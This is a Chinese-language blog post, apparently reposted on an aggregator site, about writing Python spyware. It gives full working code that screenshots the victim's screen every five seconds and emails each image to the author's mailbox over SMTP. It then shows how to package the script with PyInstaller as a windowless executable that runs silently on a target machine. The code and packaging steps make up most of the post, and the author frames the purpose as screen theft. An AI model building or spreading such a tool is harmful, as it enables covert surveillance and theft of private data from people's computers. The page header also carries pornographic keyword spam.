日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > python >内容正文

python

Python攻防-截取屏幕并自动发送指定邮箱

發布時間:2023/12/8 python 26 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Python攻防-截取屏幕并自动发送指定邮箱 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

文章目錄

  • 前言
  • 屏幕竊取
    • 腳本代碼
    • 效果演示
    • 生成EXE
  • 總結

前言

在前面的一篇文章:Python爬蟲-京東商品到貨自動郵件通知 介紹了如何通過 Python 腳本監控京東商品是否到貨并自動發送到貨郵件通知,為了繼續學習 Python 編程語言的應用,本文將記錄學習下如何通過 Python 腳本截取目標機器上的屏幕并自動發送到指定郵箱中。

屏幕竊取

目標腳本的目的是實現定期(每5秒)截取一次電腦屏幕、保存在本地并將其自動發送給自定郵箱。

腳本代碼

最終實現的腳本比較簡單,直接上代碼:

import time import smtplib from PIL import ImageGrab from email.mime.text import MIMEText from email.mime.image import MIMEImage from email.mime.multipart import MIMEMultipart""" 自動發送郵件的函數 """ def smtp_s():fromaddr = '142*******30@qq.com' # 發送方郵箱password = 'bw*************bef' # 開啟郵箱 SMTP 服務后獲取的授權碼toaddrs = ['130******81@163.com'] # 郵件接受方郵箱地址,注意需要[]包裹,這意味著你可以寫多個郵件地址群發content = '正文內容:這是一封來自Python攻防腳本自動發送的電腦屏幕竊取測試郵件!'textApart = MIMEText(content)imageFile = r"1.png" # r表示原生字符,不進行轉義imageApart = MIMEImage(open(imageFile, 'rb').read(), imageFile.split('.')[-1])imageApart.add_header('Content-Disposition', 'attachment', filename="屏幕截圖.png")m = MIMEMultipart()m.attach(textApart) # 文本m.attach(imageApart) # 發送圖片附件m['Subject'] = '主題:Python屏幕監控郵件'm['From'] = "Tr0e"try:server = smtplib.SMTP('smtp.qq.com')server.login(fromaddr, password)server.sendmail(fromaddr, toaddrs, m.as_string())print('發送成功!')server.quit()except smtplib.SMTPException as e:print('error:', e) # 打印錯誤""" 截取屏幕并保存圖片的函數 """ def imG():i = 1while True:im = ImageGrab.grab()im.save('1.png')print("第%d個屏幕截取成功!" % i)time.sleep(5)i = i + 1smtp_s()if __name__ == '__main__':imG()

簡單解釋下上述代碼:

  • 圖片截取使用 Python 圖像處理庫 PIL 的 ImageGrab 模塊,grab() 函數會抓取當前屏幕的快照,返回一個模式為 “RGB” 的圖像;
  • 發送郵件使用的是 Python 的 smtplib 庫,該庫對 SMTP 郵件傳輸協議協議進行了簡單的封裝,具體教程可以參見:Python SMTP發送郵件;
  • 注意下,上面的收件郵箱是我的 163 網易郵箱,發件郵箱是 QQ 郵箱,發件密碼(代碼中的password = 'bw*************bef'字段,不是 QQ 登陸密碼)的獲取和發件功能需要在QQ郵箱的 “設置-賬戶” 里開啟如下所示功能:
  • 效果演示

    在 Pycharm 中編輯并運行上述代碼,運行效果如下:
    目標郵箱 130*******81@163.com 收到郵件如下:

    生成EXE

    下面演示將上述 Python 代碼打包生成 Windows 系統下的 exe 可執行文件。

    1、執行命令pip install pyinstaller下載安裝 pyinstaller 庫:
    2、若需將 xxx.py 文件打包,只需在文件對應的目錄下運行終端并執行pyinstaller xxx.py命令即可,常用可選項及說明:

    -F:打包后只生成單個exe格式文件; -D:默認選項,創建一個目錄,包含exe文件以及大量依賴文件; -c:默認選項,使用控制臺(就是類似cmd的黑框)-w:不使用控制臺; -p:添加搜索路徑,讓其找到對應的庫; -i:改變生成程序的icon圖標。

    3、執行命令pyinstaller -F -w Test.py開始封裝上述竊取屏幕的代碼,隨后會在生成的 dist 文件夾下生成 Test.exe 可執行文件:
    4、雙擊運行 Test.exe 可執行文件,同樣能觸發屏幕竊取并發送郵件:
    此時郵箱將每隔 5 秒收到一封郵件……需要暫定發件的話需要手動在任務管理器里終止 Test.exe 的進程任務。

    總結

    本文所演示的代碼不足 50 行,卻實現了從自動定時截取電腦屏幕、到自動發送郵件的功能,這就是 Python 簡短強悍的功能!后續將繼續結合一些網絡攻防的實際用途,學習并總結 Python 一些有意思的用法。

    總結

    以上是生活随笔為你收集整理的Python攻防-截取屏幕并自动发送指定邮箱的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。